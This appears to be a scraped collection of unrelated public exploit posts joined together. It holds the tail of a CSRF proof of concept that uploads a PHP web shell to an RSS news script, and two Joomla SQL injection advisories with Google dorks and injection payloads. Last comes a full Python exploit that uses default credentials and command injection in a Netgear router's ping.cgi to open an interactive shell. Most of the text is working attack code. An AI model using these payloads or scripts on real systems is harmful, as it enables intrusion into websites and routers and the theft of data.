          "Content-Disposition: form-data; name=\"title\"\r\n" +
          "\r\n" +
          "Test\r\n" +
          "-----------------------------2331884730649\r\n" +
          "Content-Disposition: form-data; name=\"category_id\"\r\n" +
          "\r\n" +
          "1\r\n" +
          "-----------------------------2331884730649\r\n" +
          "Content-Disposition: form-data; name=\"thumbnail\";
filename=\"lod.php\"\r\n" +
          "Content-Type: application/octet-stream\r\n" +
          "\r\n" +
          "\x3c?php echo \'\x3cform action=\"\" method=\"post\"
enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\"\x3e\';
echo \'\x3cinput type=\"file\" name=\"file\" size=\"50\"\x3e\x3cinput
name=\"_upl\" type=\"submit\" id=\"_upl\"
value=\"Upload\"\x3e\x3c/form\x3e\'; if( $_POST[\'_upl\'] == \"Upload\" ) {
if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) {
echo \'\x3cb\x3eUpload Sukses!!!\x3cb\x3e\x3cbr\x3e\x3cbr\x3e\'; } else {
echo \'\x3cb\x3eGagal Upload!!!\x3c/b\x3e\x3cbr\x3e\x3cbr\x3e\'; } } ?\x3e
\r\n" +
          "\r\n" +
          "-----------------------------2331884730649\r\n" +
          "Content-Disposition: form-data; name=\"details\"\r\n" +
          "\r\n" +
          "\x3cp\x3etest\x3c/p\x3e\r\n" +
          "-----------------------------2331884730649\r\n" +
          "Content-Disposition: form-data; name=\"published\"\r\n" +
          "\r\n" +
          "1\r\n" +
          "-----------------------------2331884730649\r\n" +
          "Content-Disposition: form-data; name=\"submit\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------2331884730649--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
    <br><br><br>
    <center>
    <h2><font color="red">[RSS News - AutoPilot Script] CSRF to Persistent
XSS and RCE</font></h2>
    <form action="#">
      <input type="button" value="Submit request"
onclick="submitRequest();" />
    </form>
  </center>
  </body>
</html>

Vendor Shouted Urgent Update:
http://wpsup.com/products/rss-news-script/urgent-update-fix-security-bugs/

Fix/Patch: Update to latest version.

----------------------------------------------------------------------------------------------------------------------

Regards,
Arbin Godar
https://twitter.com/arbingodar
HireHackking 
# # # # # 
# Exploit Title: Joomla! Component Google Map Store Locator v4.4 - SQL Injection
# Google Dork: inurl:index.php?option=com_googlemaplocator
# Date: 18.02.2017
# Vendor Homepage: http://matamko.com/
# Software Buy: http://matamko.com/products/google-map-store-locator/live-demo
# Demo: http://gtlocator4.demo.matamko.com/
# Version: 4.4
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/?filter_to=a&filter_day=21-02-2017&filter_time=[SQL]
# +/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# Etc...
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Joomla! Component Most Wanted Real Estate v1.1.0 - SQL Injection
# Google Dork: inurl:index.php?option=com_mostwantedrealestate
# Date: 18.02.2017
# Vendor Homepage: http://mostwantedrealestatesites.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/vertical-markets/real-estate/most-wanted-real-estate/
# Demo: http://demo.mostwantedrealestatesites.com/
# Version: 1.1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/?filter_a1search=Ihsan_Sencan&filter_a1type=0&filter_a1minprice=&filter_a1maxprice=&filter_a1locality=0&filter_a1minbed=0&filter_a1minbaths=&filter_a1minarea=&filter_a1maxarea=&filter_a1minland=&filter_a1maxland=&filter_a1landtype=0&which_order=[SQL]
# http://localhost/[PATH]/?filter_a1search=Ihsan_Sencan&filter_a1type=0&filter_a1minprice=&filter_a1maxprice=&filter_a1locality=0&filter_a1minbed=0&filter_a1minbaths=&filter_a1minarea=&filter_a1maxarea=[SQL]
# http://localhost/[PATH]/?filter_a1search=Ihsan_Sencan&filter_a1type=0&filter_a1minprice=&filter_a1maxprice=&filter_a1locality=0&filter_a1minbed=0&filter_a1minbaths=&filter_a1minarea=[SQL]
# Etc...
# # # # #
HireHackking 
#!/usr/bin/python
#Provides access to default user account, privileges can be easily elevated by using either:
# - a kernel exploit (ex. memodipper was tested and it worked)
# - by executing /bin/bd (suid backdoor present on SOME but not all versions)
# - by manipulating the httpd config files to trick the root user into executing your code (separate advisory will be released soon along with the 2nd vuln)

#Pozdrawiam: Kornela, Komara i Sknerusa

import sys
import requests

#You can change these credentials to ex. Gearguy/Geardog or Guest/Guest which are hardcoded on SOME firmware versions
#These routers DO NOT support telnet/ssh access so you can use this exploit to access the shell if you want to

login = 'admin'
password = 'password' 


def main():
	if len(sys.argv) < 2 or len(sys.argv) == 3:
		print "./netgearpwn.py <router ip>"
		return
	spawnShell()

def execute(cmd):
	r = requests.post("http://" + sys.argv[1] + "/ping.cgi", data={'IPAddr1': 12, 'IPAddr2': 12, 'IPAddr3': 12, 'IPAddr4': 12, 'ping':"Ping", 'ping_IPAddr':"12.12.12.12; " + cmd}, auth=(login, password), headers={'referer': "http://192.168.0.1/DIAG_diag.htm"})
	result = parseOutput(r.text)	
	return result

def spawnShell():
	r = execute("echo pwn3d")

	if any("pwn3d" in s for s in r) == False:
		print "Something went wrong, is the system vulnerable? Are the credentials correct?"
		return

	while True:
		cmd = raw_input("$ ")
		r = execute(cmd)
		for l in r:
			print l.encode("utf-8")

def parseOutput(output):
	yet = False
	a = False
	result = []
	for line in output.splitlines():
		if line.startswith("<textarea"):
			yet = True
			continue
		if yet == True: 			
			if line.startswith("</textarea>"):
				break
			result.append(line)
	return result

if __name__ == "__main__":
	main()